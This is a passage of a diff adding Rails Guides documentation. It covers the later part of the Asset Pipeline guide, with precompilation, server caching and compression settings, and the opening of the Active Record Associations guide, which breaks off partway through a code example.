+ false
+ end
+end
+```
+
+NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array.
+
+The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:
+
+```yaml
+---
+rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
+jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
+jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
+application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
+application.css: application-8af74128f904600e41a6e39241464e03.css
+```
+
+The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default).
+
+NOTE: If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s).
+
+#### Far-future Expires Header
+
+Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
+
+For Apache:
+
+```apache
+# The Expires* directives requires the Apache module `mod_expires` to be enabled.
+<Location /assets/>
+ # Use of ETag is discouraged when Last-Modified is present
+ Header unset ETag
+ FileETag None
+ # RFC says only cache for 1 year
+ ExpiresActive On
+ ExpiresDefault "access plus 1 year"
+</Location>
+```
+
+For nginx:
+
+```nginx
+location ~ ^/assets/ {
+ expires 1y;
+ add_header Cache-Control public;
+
+ add_header ETag "";
+ break;
+}
+```
+
+#### GZip Compression
+
+When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compre [...]
+
+Nginx is able to do this automatically enabling `gzip_static`:
+
+```nginx
+location ~ ^/(assets)/ {
+ root /path/to/public;
+ gzip_static on; # to serve pre-gzipped version
+ expires max;
+ add_header Cache-Control public;
+}
+```
+
+This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation:
+
+```bash
+./configure --with-http_gzip_static_module
+```
+
+If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
+
+A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.)
+
+### Local Precompilation
+
+There are several reasons why you might want to precompile your assets locally. Among them are:
+
+* You may not have write access to your production file system.
+* You may be deploying to more than one server, and want to avoid the duplication of work.
+* You may be doing frequent deploys that do not include asset changes.
+
+Local compilation allows you to commit the compiled files into source control, and deploy as normal.
+
+There are two caveats:
+
+* You must not run the Capistrano deployment task that precompiles assets.
+* You must change the following two application configuration settings.
+
+In `config/environments/development.rb`, place the following line:
+
+```ruby
+config.assets.prefix = "/dev-assets"
+```
+
+You will also need this in application.rb:
+
+```ruby
+config.assets.initialize_on_precompile = false
+```
+
+The `prefix` change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to `/assets` in the production environment. Without this change, the application would serve the precompiled assets from `public/assets` in development, and you would not see any local changes until you compile assets again.
+
+The `initialize_on_precompile` change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option.
+
+You will also need to ensure that any compressors or minifiers are available on your development system.
+
+In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected.
+
+### Live Compilation
+
+In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
+
+To enable this option set:
+
+```ruby
+config.assets.compile = true
+```
+
+On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
+
+Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
+
+This mode uses more memory, performs more poorly than the default and is not recommended.
+
+If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
+
+```ruby
+group :production do
+ gem 'therubyracer'
+end
+```
+
+### CDNs
+
+If your assets are being served by a CDN, ensure they don't stick around in
+your cache forever. This can cause problems. If you use
+`config.action_controller.perform_caching = true`, Rack::Cache will use
+`Rails.cache` to store assets. This can cause your cache to fill up quickly.
+
+Every cache is different, so evaluate how your CDN handles caching and make
+sure that it plays nicely with the pipeline. You may find quirks related to
+your specific set up, you may not. The defaults nginx uses, for example,
+should give you no problems when used as an HTTP cache.
+
+Customizing the Pipeline
+------------------------
+
+### CSS Compression
+
+There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification.
+
+The following line enables YUI compression, and requires the `yui-compressor` gem.
+
+```ruby
+config.assets.css_compressor = :yui
+```
+
+The `config.assets.compress` must be set to `true` to enable CSS compression.
+
+### JavaScript Compression
+
+Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively.
+
+The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible.
+
+The following line invokes `uglifier` for JavaScript compression.
+
+```ruby
+config.assets.js_compressor = :uglifier
+```
+
+Note that `config.assets.compress` must be set to `true` to enable JavaScript compression
+
+NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes.
+
+### Using Your Own Compressor
+
+The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string.
+
+```ruby
+class Transformer
+ def compress(string)
+ do_something_returning_a_string(string)
+ end
+end
+```
+
+To enable this, pass a new object to the config option in `application.rb`:
+
+```ruby
+config.assets.css_compressor = Transformer.new
+```
+
+
+### Changing the _assets_ Path
+
+The public path that Sprockets uses by default is `/assets`.
+
+This can be changed to something else:
+
+```ruby
+config.assets.prefix = "/some_other_path"
+```
+
+This is a handy option if you are updating an older project that didn't use the asset pipeline and that already uses this path or you wish to use this path for a new resource.
+
+### X-Sendfile Headers
+
+The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
+
+Apache and nginx support this option, which can be enabled in `config/environments/production.rb`.
+
+```ruby
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+```
+
+WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`).
+
+Assets Cache Store
+------------------
+
+The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting `config.assets.cache_store`.
+
+```ruby
+config.assets.cache_store = :memory_store
+```
+
+The options accepted by the assets cache store are the same as the application's cache store.
+
+```ruby
+config.assets.cache_store = :memory_store, { :size => 32.megabytes }
+```
+
+Adding Assets to Your Gems
+--------------------------
+
+Assets can also come from external sources in the form of gems.
+
+A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets.
+
+Making Your Library or Gem a Pre-Processor
+------------------------------------------
+
+As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic
+interface to different templating engines, your gem should just
+implement the Tilt template protocol. Normally, you would subclass
+`Tilt::Template` and reimplement `evaluate` method to return final
+output. Template source is stored at `@code`. Have a look at
+[`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb)
+sources to learn more.
+
+```ruby
+module BangBang
+ class Template < ::Tilt::Template
+ # Adds a "!" to original template.
+ def evaluate(scope, locals, &block)
+ "#{@code}!"
+ end
+ end
+end
+```
+
+Now that you have a `Template` class, it's time to associate it with an
+extension for template files:
+
+```ruby
+Sprockets.register_engine '.bang', BangBang::Template
+```
+
+Upgrading from Old Versions of Rails
+------------------------------------
+
+There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types.
+
+Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically.
+
+The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.
+
+In `application.rb`:
+
+```ruby
+# Enable the asset pipeline
+config.assets.enabled = true
+
+# Version of your assets, change this if you want to expire all your assets
+config.assets.version = '1.0'
+
+# Change the path that assets are served from
+# config.assets.prefix = "/assets"
+```
+
+In `development.rb`:
+
+```ruby
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+```
+
+And in `production.rb`:
+
+```ruby
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Choose the compressors to use
+# config.assets.js_compressor = :uglifier
+# config.assets.css_compressor = :yui
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs.
+config.assets.digest = true
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+```
+
+You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false.
+
+The following should also be added to `Gemfile`:
+
+```ruby
+# Gems used only for assets and not required
+# in production environments by default.
+group :assets do
+ gem 'sass-rails', "~> 3.2.3"
+ gem 'coffee-rails', "~> 3.2.1"
+ gem 'uglifier'
+end
+```
+
+If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement:
+
+```ruby
+if defined?(Bundler)
+ # If you precompile assets before deploying to production, use this line
+ Bundler.require *Rails.groups(:assets => %w(development test))
+ # If you want your assets lazily compiled in production, use this line
+ # Bundler.require(:default, :assets, Rails.env)
+end
+```
+
+Instead of the old Rails 3.0 version:
+
+```ruby
+# If you have a Gemfile, require the gems listed there, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env) if defined?(Bundler)
+```

+Active Record Associations
+==========================
+
+This guide covers the association features of Active Record.
+
+After reading this guide, you will know:
+
+* How to declare associations between Active Record models.
+* How to understand the various types of Active Record associations.
+* How to use the methods added to your models by creating associations.
+
+--------------------------------------------------------------------------------
+
+Why Associations?
+-----------------
+
+Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
+
+```ruby
+class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+```
+
+Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
+
+```ruby
+ at order = Order.create(order_date: Time.now, customer_id: @customer.id)
+```
+
+Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
+
+```ruby
+ at orders = Order.where(customer_id: @customer.id)
+ at orders.each do |order|
+ order.destroy
+end
+ at customer.destroy
+```
+
+With Active Record associations, we can streamline these — and other — operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, dependent: :destroy
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+With this change, creating a new order for a particular customer is easier:
+
+```ruby
+ at order = @customer.orders.create(order_date: Time.now)
+```
+
+Deleting a customer and all of its orders is *much* easier:
+
+```ruby
+ at customer.destroy
+```
+
+To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+
+The Types of Associations
+-------------------------
+
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
+
+* `belongs_to`
+* `has_one`
+* `has_many`
+* `has_many :through`
+* `has_one :through`
+* `has_and_belongs_to_many`
+
+In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+
+### The `belongs_to` Association
+
+A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+
+
+NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `customer` association in the `Order` model, you would be told that there was an "uninitialized constant Order::Customers". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateOrders < ActiveRecord::Migration
+ def change
+ create_table :customers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :orders do |t|
+ t.belongs_to :customer
+ t.datetime :order_date
+ t.timestamps
+ end
+ end
+end
+```
+
+### The `has_one` Association
+
+A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+```
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration
+ def change
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.belongs_to :supplier
+ t.string :account_number
+ t.timestamps
+ end
+ end
+end
+```
+
+### The `has_many` Association
+
+A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+NOTE: The name of the other model is pluralized when declaring a `has_many` association.
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateCustomers < ActiveRecord::Migration
+ def change
+ create_table :customers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :orders do |t|
+ t.belongs_to :customer
+ t.datetime :order_date
+ t.timestamps
+ end
+ end
+end
+```
+
+### The `has_many :through` Association
+
+A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
+
+```ruby
+class Physician < ActiveRecord::Base
+ has_many :appointments
+ has_many :patients, through: :appointments
+end
+
+class Appointment < ActiveRecord::Base
+ belongs_to :physician
+ belongs_to :patient
+end
+
+class Patient < ActiveRecord::Base
+ has_many :appointments
+ has_many :physicians, through: :appointments
+end
+```
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAppointments < ActiveRecord::Migration
+ def change
+ create_table :physicians do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :patients do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :appointments do |t|
+ t.belongs_to :physician
+ t.belongs_to :patient
+ t.datetime :appointment_date
+ t.timestamps
+ end
+ end
+end
+```
+
+The collection of join models can be managed via the API. For example, if you assign
+
+```ruby
+physician.patients = patients
+```
+
+new join models are created for newly associated objects, and if some are gone their rows are deleted.
+
+WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
+
+The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+
+```ruby
+class Document < ActiveRecord::Base
+ has_many :sections
+ has_many :paragraphs, through: :sections
+end
+
+class Section < ActiveRecord::Base
+ belongs_to :document
+ has_many :paragraphs
+end
+
+class Paragraph < ActiveRecord::Base
+ belongs_to :section
+end
+```
+
+With `through: :sections` specified, Rails will now understand:
+
+```ruby
+ at document.paragraphs
+```
+
+### The `has_one :through` Association
+
+A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+ has_one :account_history, through: :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ has_one :account_history
+end
+
+class AccountHistory < ActiveRecord::Base
+ belongs_to :account
+end
+```
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAccountHistories < ActiveRecord::Migration
+ def change
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.belongs_to :supplier
+ t.string :account_number
+ t.timestamps
+ end
+
+ create_table :account_histories do |t|
+ t.belongs_to :account
+ t.integer :credit_rating
+ t.timestamps
+ end
+ end
+end
+```
+
+### The `has_and_belongs_to_many` Association
+
+A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateAssembliesAndParts < ActiveRecord::Migration
+ def change
+ create_table :assemblies do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :parts do |t|
+ t.string :part_number
+ t.timestamps
+ end
+
+ create_table :assemblies_parts do |t|
+ t.belongs_to :assembly
+ t.belongs_to :part
+ end
+ end
+end
+```
+
+### Choosing Between `belongs_to` and `has_one`
+
+If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which?
+
+The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+end
+```
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration
+ def change
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.integer :supplier_id
+ t.string :account_number
+ t.timestamps
+ end
+ end
+end
+```
+
+NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead.
+
+### Choosing Between `has_many :through` and `has_and_belongs_to_many`
+
+Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_many :manifests
+ has_many :parts, through: :manifests
+end
+
+class Manifest < ActiveRecord::Base
+ belongs_to :assembly
+ belongs_to :part
+end
+
+class Part < ActiveRecord::Base
+ has_many :manifests
+ has_many :assemblies, through: :manifests
+end
+```
+
+The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database).
+
+You should use `has_many :through` if you need validations, callbacks, or extra attributes on the join model.
+
+### Polymorphic Associations
+
+A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
+
+```ruby
+class Picture < ActiveRecord::Base
+ belongs_to :imageable, polymorphic: true
+end
+
+class Employee < ActiveRecord::Base
+ has_many :pictures, as: :imageable
+end
+
+class Product < ActiveRecord::Base
+ has_many :pictures, as: :imageable
+end
+```
+
+You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`.
+
+Similarly, you can retrieve `@product.pictures`.
+
+If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration
+ def change
+ create_table :pictures do |t|
+ t.string :name
+ t.integer :imageable_id
+ t.string :imageable_type
+ t.timestamps
+ end
+ end
+end
+```
+
+This migration can be simplified by using the `t.references` form:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration
+ def change
+ create_table :pictures do |t|
+ t.string :name
+ t.references :imageable, polymorphic: true
+ t.timestamps
+ end
+ end
+end
+```
+
+
+
+### Self Joins
+
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
+
+```ruby
+class Employee < ActiveRecord::Base
+ has_many :subordinates, class_name: "Employee",
+ foreign_key: "manager_id"
+
+ belongs_to :manager, class_name: "Employee"
+end
+```
+
+With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.
+
+Tips, Tricks, and Warnings
+--------------------------
+
+Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+
+* Controlling caching
+* Avoiding name collisions
+* Updating the schema
+* Controlling association scope
+* Bi-directional associations
+
+### Controlling Caching
+
+All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+
+```ruby
+customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders.empty? # uses the cached copy of orders
+```
+
+But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass `true` to the association call:
+
+```ruby
+customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders(true).empty? # discards the cached copy of orders
+ # and goes back to the database
+```
+
+### Avoiding Name Collisions
+
+You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations.
+
+### Updating the Schema
+
+Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table.
+
+#### Creating Foreign Keys for `belongs_to` Associations
+
+When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+This declaration needs to be backed up by the proper foreign key declaration on the orders table:
+
+```ruby
+class CreateOrders < ActiveRecord::Migration
+ def change
+ create_table :orders do |t|
+ t.datetime :order_date
+ t.string :order_number
+ t.integer :customer_id
+ end
+ end
+end
+```
+
+If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key.
+
+#### Creating Join Tables for `has_and_belongs_to_many` Associations
+
+If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
+
+WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in [...]
+
+Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key:
+
+```ruby
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration
+ def change
+ create_table :assemblies_parts, id: false do |t|
+ t.integer :assembly_id
+ t.integer :part_id
+ end
+ end
+end
+```
+
+We pass `id: false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled models IDs, or exceptions about conflicting IDs, chances are you forgot that bit.
+
+### Controlling Association Scope
+
+By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+
+```ruby
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+```
+
+This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will _not_ work, because `Supplier` and `Account` are defined in different scopes:
+
+```ruby
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+```
+
+To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
+
+```ruby
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account,
+ class_name: "MyApplication::Billing::Account"
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier,
+ class_name: "MyApplication::Business::Supplier"
+ end
+ end
+end
+```
+
+### Bi-directional Associations
+
+It's normal for associations to work in two directions, requiring declaration on two different models:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync:
+
+```ruby
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => false
+```
+
+This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the `:inverse_of` option so that you can inform it of these relations:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer, inverse_of: :orders
+end
+```
+
+With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient:
+
+```ruby
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => true
+```
+
+There are a few limitations to `inverse_of` support:
+
+* They do not work with `:through` associations.
+* They do not work with `:polymorphic` associations.
+* They do not work with `:as` associations.
+* For `belongs_to` associations, `has_many` inverse associations are ignored.
+
+Detailed Association Reference
+------------------------------
+
+The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+
+### `belongs_to` Association Reference
+
+The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead.
+
+#### Methods Added by `belongs_to`
+
+When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association:
+
+* `association(force_reload = false)`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+Each instance of the order model will have these methods:
+
+```ruby
+customer
+customer=
+build_customer
+create_customer
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association(force_reload = false)`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+ at customer = @order.customer
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+
+```ruby
+ at order.customer = @customer
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+ at customer = @order.build_customer(customer_number: 123,
+ customer_name: "John Doe")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+ at customer = @order.create_customer(customer_number: 123,
+ customer_name: "John Doe")
+```
+
+
+#### Options for `belongs_to`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options:
+
+```ruby
